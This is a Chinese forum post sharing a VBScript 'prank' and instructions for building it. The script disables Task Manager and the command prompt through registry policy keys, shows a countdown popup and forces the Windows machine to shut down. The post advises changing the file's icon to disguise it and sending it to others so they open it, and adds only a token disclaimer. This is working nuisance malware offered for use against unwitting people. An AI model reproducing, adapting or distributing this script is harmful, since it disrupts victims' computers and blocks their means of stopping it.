vbs代码(恶心)不喜勿喷,,,谢谢

发表在    最强大的vbs代码 07-23 16:18:58

2 2830 7

嗯嗯

    大家应该知道vbs吧...(废话,首页里有)

好,大家知道就好(无视这句话)

如果不知道什么是vbs可以去找度娘,搜狗,谷狗等等(比较有名而已)

好,这个贴呢,将会上传一种非常强大的vbs代码,有多强大呢?

关闭任务管理器也行不通,可以让你的电脑死机+无线关机重启!!!

是不是很恐怖呢?(大神勿喷)

好,首先在windows桌面建造一个笔记本(md废话)...

小编本来要截图的,没想到那么麻烦,所以抱歉了,,,继续往下看

打开笔记本

输入以下代码


set s=createobject("wscript.shell") 
set bag=getobject("winmgmts:\\.\root\cimv2") 
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'") 
For Each id in pipe 
if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then 
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD" 
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD" 
id.terminate() 
else 
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD" 
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD" 
for i=1 to 60 
s.popup"系统将在"& 60-i &"秒后关机...",1,"系统提示",4096+48 
next 
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem") 
For Each eOs In colOS 
eOs.Win32Shutdown(2) 
Next 
end if 
Next 

好,,,把它复制粘贴(废话,那么长麻烦死了)

好,如果有大神要练手速,一点要看懂代码才可以,不然,那些黑客都是浮云

好,让我们分析这串代码,他只有简单的句种(小编喜欢照样称呼)

set语句,为了不浪费时间,大家可以去找度娘...

好。。。

为了最方便的,点击X好,关闭文件,系统提示保存不保存,点击保存(当屁话处理)

不过,大家注意,如果你的电脑没有提示,说明你设置了什么东西,那么你只可以在笔记本中,点击文件,点击保存!!!

好了,保存完后,右键笔记本,把“.txt”后缀改成“.vbs”即可

为了搞人,你可以顺便把文件的图片改掉(右键即可)不会找度娘

好,你可以散播这个文件给别人让别人打开...

最后注:不要作死也不要去玩弄别人让别人损失什么,那些事与这篇文章和小编没有任何关系,小编会不定时更新文章,偷偷告诉你小编qq:2698396869(经常在线)好了,文章就到这里,希望大家喜欢!!!






登录或注册后发布评论
author avatar

万人敬仰deHacker

英勇黄铜Ⅴ 34荣誉值

1

0

0

万人敬仰deHacker的其他帖子